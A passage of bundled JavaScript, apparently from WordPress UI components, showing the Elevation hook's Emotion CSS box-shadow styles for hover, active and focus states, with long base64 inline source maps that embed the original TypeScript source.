0aW9uUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGZ1bmN0aW9uIGdldEJveFNoYWRvdyggdmFsdWU6IG51bWJlciApIHtcblx0Y29uc3QgYm94U2hhZG93Q29sb3IgPSBgcmdiYSgwLCAwLCAwLCAkeyB2YWx1ZSAvIDIwIH0pYDtcblx0Y29uc3QgYm94U2hhZG93ID0gYDAgJHsgdmFsdWUgfXB4ICR7IHZhbHVlICogMiB9cHggMFxuXHQkeyBib3hTaGFkb3dDb2xvciB9YDtcblxuXHRyZXR1cm4gYm94U2hhZG93O1xufVxuXG5leHBvcnQgZnVuY3Rpb24gdXNlRWxldmF0aW9uKFxuXHRwcm9wczogV29yZFByZXNzQ29tcG9uZW50UHJvcHM8IEVsZXZhdGlvblByb3BzLCAnZGl2JyA+XG4pIHtcblx0Y29uc3Qge1xuXHRcdGFjdGl2ZSxcblx0XHRib3JkZXJSYWRpdXMgPSAnaW5oZXJpdCcsXG5cdFx0Y2xhc3NOYW1lLFxuXHRcdGZvY3VzLFxuXHRcdGhvdmVyLFxuXHRcdGlzSW50ZXJhY3RpdmUgPSBmYWxzZSxcblx0XHRvZmZzZXQgPSAwLFxuXHRcdHZhbHVlID0gMCxcblx0XHQuLi5vdGhlclByb3BzXG5cdH0gPSB1c2VDb250ZXh0U3lzdGVtKCBwcm9wcywgJ0VsZXZhdGlvbicgKTtcblxuXHRjb25zdCBjeCA9IHVzZUN4KCk7XG5cblx0Y29uc3QgY2xhc3NlcyA9IHVzZU1lbW8oICgpID0+IHtcblx0XHRsZXQgaG92ZXJWYWx1ZTogbnVtYmVyIHwgdW5kZWZpbmVkID0gaXNWYWx1ZURlZmluZWQoIGhvdmVyIClcblx0XHRcdD8gaG92ZXJcblx0XHRcdDogdmFsdWUgKiAyO1xuXHRcdGxldCBhY3RpdmVWYWx1ZTogbnVtYmVyIHwgdW5kZWZpbmVkID0gaXNWYWx1ZURlZmluZWQoIGFjdGl2ZSApXG5cdFx0XHQ/IGFjdGl2ZVxuXHRcdFx0OiB2YWx1ZSAvIDI7XG5cblx0XHRpZiAoICEgaXNJbnRlcmFjdGl2ZSApIHtcblx0XHRcdGhvdmVyVmFsdWUgPSBpc1ZhbHVlRGVmaW5lZCggaG92ZXIgKSA/IGhvdmVyIDogdW5kZWZpbmVkO1xuXHRcdFx0YWN0aXZlVmFsdWUgPSBpc1ZhbHVlRGVmaW5lZCggYWN0aXZlICkgPyBhY3RpdmUgOiB1bmRlZmluZWQ7XG5cdFx0fVxuXG5cdFx0Y29uc3QgdHJhbnNpdGlvbiA9IGBib3gtc2hhZG93ICR7IENPTkZJRy50cmFuc2l0aW9uRHVyYXRpb24gfSAkeyBDT05GSUcudHJhbnNpdGlvblRpbWluZ0Z1bmN0aW9uIH1gO1xuXG5cdFx0Y29uc3Qgc3g6IHtcblx0XHRcdEJhc2U/OiBTZXJpYWxpemVkU3R5bGVzO1xuXHRcdFx0aG92ZXI/OiBTZXJpYWxpemVkU3R5bGVzO1xuXHRcdFx0YWN0aXZlPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHRcdGZvY3VzPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHR9ID0ge307XG5cblx0XHRzeC5CYXNlID0gY3NzKFxuXHRcdFx0e1xuXHRcdFx0XHRib3JkZXJSYWRpdXMsXG5cdFx0XHRcdGJvdHRvbTogb2Zmc2V0LFxuXHRcdFx0XHRib3hTaGFkb3c6IGdldEJveFNoYWRvdyggdmFsdWUgKSxcblx0XHRcdFx0b3BhY2l0eTogQ09ORklHLmVsZXZhdGlvbkludGVuc2l0eSxcblx0XHRcdFx0bGVmdDogb2Zmc2V0LFxuXHRcdFx0XHRyaWdodDogb2Zmc2V0LFxuXHRcdFx0XHR0b3A6IG9mZnNldCxcblx0XHRcdH0sXG5cdFx0XHRjc3NgXG5cdFx0XHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0XHRcdHRyYW5zaXRpb246ICR7IHRyYW5zaXRpb24gfTtcblx0XHRcdFx0fVxuXHRcdFx0YFxuXHRcdCk7XG5cblx0XHRpZiAoIGlzVmFsdWVEZWZpbmVkKCBob3ZlclZhbHVlICkgKSB7XG5cdFx0XHRzeC5ob3ZlciA9IGNzc2Bcblx0XHRcdFx0Kjpob3ZlciA+ICYge1xuXHRcdFx0XHRcdGJveC1zaGFkb3c6ICR7IGdldEJveFNoYWRvdyggaG92ZXJWYWx1ZSApIH07XG5cdFx0XHRcdH1cblx0XHRcdGA7XG5cdFx0fVxuXG5cdFx0aWYgKCBpc1ZhbHVlRGVmaW5lZCggYWN0aXZlVmFsdWUgKSApIHtcblx0XHRcdHN4LmFjdGl2ZSA9IGNzc2Bcblx0XHRcdFx0KjphY3RpdmUgPiAmIHtcblx0XHRcdFx0XHRib3gtc2hhZG93OiAkeyBnZXRCb3hTaGFkb3coIGFjdGl2ZVZhbHVlICkgfTtcblx0XHRcdFx0fVxuXHRcdFx0YDtcblx0XHR9XG5cblx0XHRpZiAoIGlzVmFsdWVEZWZpbmVkKCBmb2N1cyApICkge1xuXHRcdFx0c3guZm9jdXMgPSBjc3NgXG5cdFx0XHRcdCo6Zm9jdXMgPiAmIHtcblx0XHRcdFx0XHRib3gtc2hhZG93OiAkeyBnZXRCb3hTaGFkb3coIGZvY3VzICkgfTtcblx0XHRcdFx0fVxuXHRcdFx0YDtcblx0XHR9XG5cblx0XHRyZXR1cm4gY3goXG5cdFx0XHRzdHlsZXMuRWxldmF0aW9uLFxuXHRcdFx0c3guQmFzZSxcblx0XHRcdHN4LmhvdmVyLFxuXHRcdFx0c3guZm9jdXMsXG5cdFx0XHRzeC5hY3RpdmUsXG5cdFx0XHRjbGFzc05hbWVcblx0XHQpO1xuXHR9LCBbXG5cdFx0YWN0aXZlLFxuXHRcdGJvcmRlclJhZGl1cyxcblx0XHRjbGFzc05hbWUsXG5cdFx0Y3gsXG5cdFx0Zm9jdXMsXG5cdFx0aG92ZXIsXG5cdFx0aXNJbnRlcmFjdGl2ZSxcblx0XHRvZmZzZXQsXG5cdFx0dmFsdWUsXG5cdF0gKTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMsICdhcmlhLWhpZGRlbic6IHRydWUgfTtcbn1cbiJdfQ== */");
35220 if (isValueDefined(hoverValue)) {
35221 sx.hover = /* @__PURE__ */ css("*:hover>&{box-shadow:", getBoxShadow(hoverValue), ";}" + (false ? "" : ";label:sx-hover;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBdUZpQiIsImZpbGUiOiJob29rLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFdvcmRQcmVzcyBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgdXNlTWVtbyB9IGZyb20gJ0B3b3JkcHJlc3MvZWxlbWVudCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCAqIGFzIHN0eWxlcyBmcm9tICcuL3N0eWxlcyc7XG5pbXBvcnQgeyBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyB1c2VDeCB9IGZyb20gJy4uL3V0aWxzL2hvb2tzL3VzZS1jeCc7XG5pbXBvcnQgeyBpc1ZhbHVlRGVmaW5lZCB9IGZyb20gJy4uL3V0aWxzL3ZhbHVlcyc7XG5pbXBvcnQgdHlwZSB7IEVsZXZhdGlvblByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRCb3hTaGFkb3coIHZhbHVlOiBudW1iZXIgKSB7XG5cdGNvbnN0IGJveFNoYWRvd0NvbG9yID0gYHJnYmEoMCwgMCwgMCwgJHsgdmFsdWUgLyAyMCB9KWA7XG5cdGNvbnN0IGJveFNoYWRvdyA9IGAwICR7IHZhbHVlIH1weCAkeyB2YWx1ZSAqIDIgfXB4IDBcblx0JHsgYm94U2hhZG93Q29sb3IgfWA7XG5cblx0cmV0dXJuIGJveFNoYWRvdztcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHVzZUVsZXZhdGlvbihcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPCBFbGV2YXRpb25Qcm9wcywgJ2RpdicgPlxuKSB7XG5cdGNvbnN0IHtcblx0XHRhY3RpdmUsXG5cdFx0Ym9yZGVyUmFkaXVzID0gJ2luaGVyaXQnLFxuXHRcdGNsYXNzTmFtZSxcblx0XHRmb2N1cyxcblx0XHRob3Zlcixcblx0XHRpc0ludGVyYWN0aXZlID0gZmFsc2UsXG5cdFx0b2Zmc2V0ID0gMCxcblx0XHR2YWx1ZSA9IDAsXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdFbGV2YXRpb24nICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG5cdFx0bGV0IGhvdmVyVmFsdWU6IG51bWJlciB8IHVuZGVmaW5lZCA9IGlzVmFsdWVEZWZpbmVkKCBob3ZlciApXG5cdFx0XHQ/IGhvdmVyXG5cdFx0XHQ6IHZhbHVlICogMjtcblx0XHRsZXQgYWN0aXZlVmFsdWU6IG51bWJlciB8IHVuZGVmaW5lZCA9IGlzVmFsdWVEZWZpbmVkKCBhY3RpdmUgKVxuXHRcdFx0PyBhY3RpdmVcblx0XHRcdDogdmFsdWUgLyAyO1xuXG5cdFx0aWYgKCAhIGlzSW50ZXJhY3RpdmUgKSB7XG5cdFx0XHRob3ZlclZhbHVlID0gaXNWYWx1ZURlZmluZWQoIGhvdmVyICkgPyBob3ZlciA6IHVuZGVmaW5lZDtcblx0XHRcdGFjdGl2ZVZhbHVlID0gaXNWYWx1ZURlZmluZWQoIGFjdGl2ZSApID8gYWN0aXZlIDogdW5kZWZpbmVkO1xuXHRcdH1cblxuXHRcdGNvbnN0IHRyYW5zaXRpb24gPSBgYm94LXNoYWRvdyAkeyBDT05GSUcudHJhbnNpdGlvbkR1cmF0aW9uIH0gJHsgQ09ORklHLnRyYW5zaXRpb25UaW1pbmdGdW5jdGlvbiB9YDtcblxuXHRcdGNvbnN0IHN4OiB7XG5cdFx0XHRCYXNlPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHRcdGhvdmVyPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHRcdGFjdGl2ZT86IFNlcmlhbGl6ZWRTdHlsZXM7XG5cdFx0XHRmb2N1cz86IFNlcmlhbGl6ZWRTdHlsZXM7XG5cdFx0fSA9IHt9O1xuXG5cdFx0c3guQmFzZSA9IGNzcyhcblx0XHRcdHtcblx0XHRcdFx0Ym9yZGVyUmFkaXVzLFxuXHRcdFx0XHRib3R0b206IG9mZnNldCxcblx0XHRcdFx0Ym94U2hhZG93OiBnZXRCb3hTaGFkb3coIHZhbHVlICksXG5cdFx0XHRcdG9wYWNpdHk6IENPTkZJRy5lbGV2YXRpb25JbnRlbnNpdHksXG5cdFx0XHRcdGxlZnQ6IG9mZnNldCxcblx0XHRcdFx0cmlnaHQ6IG9mZnNldCxcblx0XHRcdFx0dG9wOiBvZmZzZXQsXG5cdFx0XHR9LFxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdFx0XHR0cmFuc2l0aW9uOiAkeyB0cmFuc2l0aW9uIH07XG5cdFx0XHRcdH1cblx0XHRcdGBcblx0XHQpO1xuXG5cdFx0aWYgKCBpc1ZhbHVlRGVmaW5lZCggaG92ZXJWYWx1ZSApICkge1xuXHRcdFx0c3guaG92ZXIgPSBjc3NgXG5cdFx0XHRcdCo6aG92ZXIgPiAmIHtcblx0XHRcdFx0XHRib3gtc2hhZG93OiAkeyBnZXRCb3hTaGFkb3coIGhvdmVyVmFsdWUgKSB9O1xuXHRcdFx0XHR9XG5cdFx0XHRgO1xuXHRcdH1cblxuXHRcdGlmICggaXNWYWx1ZURlZmluZWQoIGFjdGl2ZVZhbHVlICkgKSB7XG5cdFx0XHRzeC5hY3RpdmUgPSBjc3NgXG5cdFx0XHRcdCo6YWN0aXZlID4gJiB7XG5cdFx0XHRcdFx0Ym94LXNoYWRvdzogJHsgZ2V0Qm94U2hhZG93KCBhY3RpdmVWYWx1ZSApIH07XG5cdFx0XHRcdH1cblx0XHRcdGA7XG5cdFx0fVxuXG5cdFx0aWYgKCBpc1ZhbHVlRGVmaW5lZCggZm9jdXMgKSApIHtcblx0XHRcdHN4LmZvY3VzID0gY3NzYFxuXHRcdFx0XHQqOmZvY3VzID4gJiB7XG5cdFx0XHRcdFx0Ym94LXNoYWRvdzogJHsgZ2V0Qm94U2hhZG93KCBmb2N1cyApIH07XG5cdFx0XHRcdH1cblx0XHRcdGA7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIGN4KFxuXHRcdFx0c3R5bGVzLkVsZXZhdGlvbixcblx0XHRcdHN4LkJhc2UsXG5cdFx0XHRzeC5ob3Zlcixcblx0XHRcdHN4LmZvY3VzLFxuXHRcdFx0c3guYWN0aXZlLFxuXHRcdFx0Y2xhc3NOYW1lXG5cdFx0KTtcblx0fSwgW1xuXHRcdGFjdGl2ZSxcblx0XHRib3JkZXJSYWRpdXMsXG5cdFx0Y2xhc3NOYW1lLFxuXHRcdGN4LFxuXHRcdGZvY3VzLFxuXHRcdGhvdmVyLFxuXHRcdGlzSW50ZXJhY3RpdmUsXG5cdFx0b2Zmc2V0LFxuXHRcdHZhbHVlLFxuXHRdICk7XG5cblx0cmV0dXJuIHsgLi4ub3RoZXJQcm9wcywgY2xhc3NOYW1lOiBjbGFzc2VzLCAnYXJpYS1oaWRkZW4nOiB0cnVlIH07XG59XG4iXX0= */");
35222 }
35223 if (isValueDefined(activeValue)) {
35224 sx.active = /* @__PURE__ */ css("*:active>&{box-shadow:", getBoxShadow(activeValue), ";}" + (false ? "" : ";label:sx-active;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBK0ZrQiIsImZpbGUiOiJob29rLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFdvcmRQcmVzcyBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgdXNlTWVtbyB9IGZyb20gJ0B3b3JkcHJlc3MvZWxlbWVudCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCAqIGFzIHN0eWxlcyBmcm9tICcuL3N0eWxlcyc7XG5pbXBvcnQgeyBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyB1c2VDeCB9IGZyb20gJy4uL3V0aWxzL2hvb2tzL3VzZS1jeCc7XG5pbXBvcnQgeyBpc1ZhbHVlRGVmaW5lZCB9IGZyb20gJy4uL3V0aWxzL3ZhbHVlcyc7XG5pbXBvcnQgdHlwZSB7IEVsZXZhdGlvblByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRCb3hTaGFkb3coIHZhbHVlOiBudW1iZXIgKSB7XG5cdGNvbnN0IGJveFNoYWRvd0NvbG9yID0gYHJnYmEoMCwgMCwgMCwgJHsgdmFsdWUgLyAyMCB9KWA7XG5cdGNvbnN0IGJveFNoYWRvdyA9IGAwICR7IHZhbHVlIH1weCAkeyB2YWx1ZSAqIDIgfXB4IDBcblx0JHsgYm94U2hhZG93Q29sb3IgfWA7XG5cblx0cmV0dXJuIGJveFNoYWRvdztcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHVzZUVsZXZhdGlvbihcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPCBFbGV2YXRpb25Qcm9wcywgJ2RpdicgPlxuKSB7XG5cdGNvbnN0IHtcblx0XHRhY3RpdmUsXG5cdFx0Ym9yZGVyUmFkaXVzID0gJ2luaGVyaXQnLFxuXHRcdGNsYXNzTmFtZSxcblx0XHRmb2N1cyxcblx0XHRob3Zlcixcblx0XHRpc0ludGVyYWN0aXZlID0gZmFsc2UsXG5cdFx0b2Zmc2V0ID0gMCxcblx0XHR2YWx1ZSA9IDAsXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdFbGV2YXRpb24nICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG5cdFx0bGV0IGhvdmVyVmFsdWU6IG51bWJlciB8IHVuZGVmaW5lZCA9IGlzVmFsdWVEZWZpbmVkKCBob3ZlciApXG5cdFx0XHQ/IGhvdmVyXG5cdFx0XHQ6IHZhbHVlICogMjtcblx0XHRsZXQgYWN0aXZlVmFsdWU6IG51bWJlciB8IHVuZGVmaW5lZCA9IGlzVmFsdWVEZWZpbmVkKCBhY3RpdmUgKVxuXHRcdFx0PyBhY3RpdmVcblx0XHRcdDogdmFsdWUgLyAyO1xuXG5cdFx0aWYgKCAhIGlzSW50ZXJhY3RpdmUgKSB7XG5cdFx0XHRob3ZlclZhbHVlID0gaXNWYWx1ZURlZmluZWQoIGhvdmVyICkgPyBob3ZlciA6IHVuZGVmaW5lZDtcblx0XHRcdGFjdGl2ZVZhbHVlID0gaXNWYWx1ZURlZmluZWQoIGFjdGl2ZSApID8gYWN0aXZlIDogdW5kZWZpbmVkO1xuXHRcdH1cblxuXHRcdGNvbnN0IHRyYW5zaXRpb24gPSBgYm94LXNoYWRvdyAkeyBDT05GSUcudHJhbnNpdGlvbkR1cmF0aW9uIH0gJHsgQ09ORklHLnRyYW5zaXRpb25UaW1pbmdGdW5jdGlvbiB9YDtcblxuXHRcdGNvbnN0IHN4OiB7XG5cdFx0XHRCYXNlPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHRcdGhvdmVyPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHRcdGFjdGl2ZT86IFNlcmlhbGl6ZWRTdHlsZXM7XG5cdFx0XHRmb2N1cz86IFNlcmlhbGl6ZWRTdHlsZXM7XG5cdFx0fSA9IHt9O1xuXG5cdFx0c3guQmFzZSA9IGNzcyhcblx0XHRcdHtcblx0XHRcdFx0Ym9yZGVyUmFkaXVzLFxuXHRcdFx0XHRib3R0b206IG9mZnNldCxcblx0XHRcdFx0Ym94U2hhZG93OiBnZXRCb3hTaGFkb3coIHZhbHVlICksXG5cdFx0XHRcdG9wYWNpdHk6IENPTkZJRy5lbGV2YXRpb25JbnRlbnNpdHksXG5cdFx0XHRcdGxlZnQ6IG9mZnNldCxcblx0XHRcdFx0cmlnaHQ6IG9mZnNldCxcblx0XHRcdFx0dG9wOiBvZmZzZXQsXG5cdFx0XHR9LFxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdFx0XHR0cmFuc2l0aW9uOiAkeyB0cmFuc2l0aW9uIH07XG5cdFx0XHRcdH1cblx0XHRcdGBcblx0XHQpO1xuXG5cdFx0aWYgKCBpc1ZhbHVlRGVmaW5lZCggaG92ZXJWYWx1ZSApICkge1xuXHRcdFx0c3guaG92ZXIgPSBjc3NgXG5cdFx0XHRcdCo6aG92ZXIgPiAmIHtcblx0XHRcdFx0XHRib3gtc2hhZG93OiAkeyBnZXRCb3hTaGFkb3coIGhvdmVyVmFsdWUgKSB9O1xuXHRcdFx0XHR9XG5cdFx0XHRgO1xuXHRcdH1cblxuXHRcdGlmICggaXNWYWx1ZURlZmluZWQoIGFjdGl2ZVZhbHVlICkgKSB7XG5cdFx0XHRzeC5hY3RpdmUgPSBjc3NgXG5cdFx0XHRcdCo6YWN0aXZlID4gJiB7XG5cdFx0XHRcdFx0Ym94LXNoYWRvdzogJHsgZ2V0Qm94U2hhZG93KCBhY3RpdmVWYWx1ZSApIH07XG5cdFx0XHRcdH1cblx0XHRcdGA7XG5cdFx0fVxuXG5cdFx0aWYgKCBpc1ZhbHVlRGVmaW5lZCggZm9jdXMgKSApIHtcblx0XHRcdHN4LmZvY3VzID0gY3NzYFxuXHRcdFx0XHQqOmZvY3VzID4gJiB7XG5cdFx0XHRcdFx0Ym94LXNoYWRvdzogJHsgZ2V0Qm94U2hhZG93KCBmb2N1cyApIH07XG5cdFx0XHRcdH1cblx0XHRcdGA7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIGN4KFxuXHRcdFx0c3R5bGVzLkVsZXZhdGlvbixcblx0XHRcdHN4LkJhc2UsXG5cdFx0XHRzeC5ob3Zlcixcblx0XHRcdHN4LmZvY3VzLFxuXHRcdFx0c3guYWN0aXZlLFxuXHRcdFx0Y2xhc3NOYW1lXG5cdFx0KTtcblx0fSwgW1xuXHRcdGFjdGl2ZSxcblx0XHRib3JkZXJSYWRpdXMsXG5cdFx0Y2xhc3NOYW1lLFxuXHRcdGN4LFxuXHRcdGZvY3VzLFxuXHRcdGhvdmVyLFxuXHRcdGlzSW50ZXJhY3RpdmUsXG5cdFx0b2Zmc2V0LFxuXHRcdHZhbHVlLFxuXHRdICk7XG5cblx0cmV0dXJuIHsgLi4ub3RoZXJQcm9wcywgY2xhc3NOYW1lOiBjbGFzc2VzLCAnYXJpYS1oaWRkZW4nOiB0cnVlIH07XG59XG4iXX0= */");
35225 }
35226 if (isValueDefined(focus4)) {
35227 sx.focus = /* @__PURE__ */ css("*:focus>&{box-shadow:", getBoxShadow(focus4), ";}" + (false ? "" : ";label:sx-focus;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBdUdpQiIsImZpbGUiOiJob29rLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFdvcmRQcmVzcyBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgdXNlTWVtbyB9IGZyb20gJ0B3b3JkcHJlc3MvZWxlbWVudCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCAqIGFzIHN0eWxlcyBmcm9tICcuL3N0eWxlcyc7XG5pbXBvcnQgeyBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyB1c2VDeCB9IGZyb20gJy4uL3V0aWxzL2hvb2tzL3VzZS1jeCc7XG5pbXBvcnQgeyBpc1ZhbHVlRGVmaW5lZCB9IGZyb20gJy4uL3V0aWxzL3ZhbHVlcyc7XG5pbXBvcnQgdHlwZSB7IEVsZXZhdGlvblByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRCb3hTaGFkb3coIHZhbHVlOiBudW1iZXIgKSB7XG5cdGNvbnN0IGJveFNoYWRvd0NvbG9yID0gYHJnYmEoMCwgMCwgMCwgJHsgdmFsdWUgLyAyMCB9KWA7XG5cdGNvbnN0IGJveFNoYWRvdyA9IGAwICR7IHZhbHVlIH1weCAkeyB2YWx1ZSAqIDIgfXB4IDBcblx0JHsgYm94U2hhZG93Q29sb3IgfWA7XG5cblx0cmV0dXJuIGJveFNoYWRvdztcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHVzZUVsZXZhdGlvbihcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPCBFbGV2YXRpb25Qcm9wcywgJ2RpdicgPlxuKSB7XG5cdGNvbnN0IHtcblx0XHRhY3RpdmUsXG5cdFx0Ym9yZGVyUmFkaXVzID0gJ2luaGVyaXQnLFxuXHRcdGNsYXNzTmFtZSxcblx0XHRmb2N1cyxcblx0XHRob3Zlcixcblx0XHRpc0ludGVyYWN0aXZlID0gZmFsc2UsXG5cdFx0b2Zmc2V0ID0gMCxcblx0XHR2YWx1ZSA9IDAsXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdFbGV2YXRpb24nICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG5cdFx0bGV0IGhvdmVyVmFsdWU6IG51bWJlciB8IHVuZGVmaW5lZCA9IGlzVmFsdWVEZWZpbmVkKCBob3ZlciApXG5cdFx0XHQ/IGhvdmVyXG5cdFx0XHQ6IHZhbHVlICogMjtcblx0XHRsZXQgYWN0aXZlVmFsdWU6IG51bWJlciB8IHVuZGVmaW5lZCA9IGlzVmFsdWVEZWZpbmVkKCBhY3RpdmUgKVxuXHRcdFx0PyBhY3RpdmVcblx0XHRcdDogdmFsdWUgLyAyO1xuXG5cdFx0aWYgKCAhIGlzSW50ZXJhY3RpdmUgKSB7XG5cdFx0XHRob3ZlclZhbHVlID0gaXNWYWx1ZURlZmluZWQoIGhvdmVyICkgPyBob3ZlciA6IHVuZGVmaW5lZDtcblx0XHRcdGFjdGl2ZVZhbHVlID0gaXNWYWx1ZURlZmluZWQoIGFjdGl2ZSApID8gYWN0aXZlIDogdW5kZWZpbmVkO1xuXHRcdH1cblxuXHRcdGNvbnN0IHRyYW5zaXRpb24gPSBgYm94LXNoYWRvdyAkeyBDT05GSUcudHJhbnNpdGlvbkR1cmF0aW9uIH0gJHsgQ09ORklHLnRyYW5zaXRpb25UaW1pbmdGdW5jdGlvbiB9YDtcblxuXHRcdGNvbnN0IHN4OiB7XG5cdFx0XHRCYXNlPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHRcdGhvdmVyPzogU2VyaWFsaXplZFN0eWxlcztcblx0XHRcdGFjdGl2ZT86IFNlcmlhbGl6ZWRTdHlsZXM7XG5cdFx0XHRmb2N1cz86IFNlcmlhbGl6ZWRTdHlsZXM7XG5cdFx0fSA9IHt9O1xuXG5cdFx0c3guQmFzZSA9IGNzcyhcblx0XHRcdHtcblx0XHRcdFx0Ym9yZGVyUmFkaXVzLFxuXHRcdFx0XHRib3R0b206IG9mZnNldCxcblx0XHRcdFx0Ym94U2hhZG93OiBnZXRCb3hTaGFkb3coIHZhbHVlICksXG5cdFx0XHRcdG9wYWNpdHk6IENPTkZJRy5lbGV2YXRpb25JbnRlbnNpdHksXG5cdFx0XHRcdGxlZnQ6IG9mZnNldCxcblx0XHRcdFx0cmlnaHQ6IG9mZnNldCxcblx0XHRcdFx0dG9wOiBvZmZzZXQsXG5cdFx0XHR9LFxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdFx0XHR0cmFuc2l0aW9uOiAkeyB0cmFuc2l0aW9uIH07XG5cdFx0XHRcdH1cblx0XHRcdGBcblx0XHQpO1xuXG5cdFx0aWYgKCBpc1ZhbHVlRGVmaW5lZCggaG92ZXJWYWx1ZSApICkge1xuXHRcdFx0c3guaG92ZXIgPSBjc3NgXG5cdFx0XHRcdCo6aG92ZXIgPiAmIHtcblx0XHRcdFx0XHRib3gtc2hhZG93OiAkeyBnZXRCb3hTaGFkb3coIGhvdmVyVmFsdWUgKSB9O1xuXHRcdFx0XHR9XG5cdFx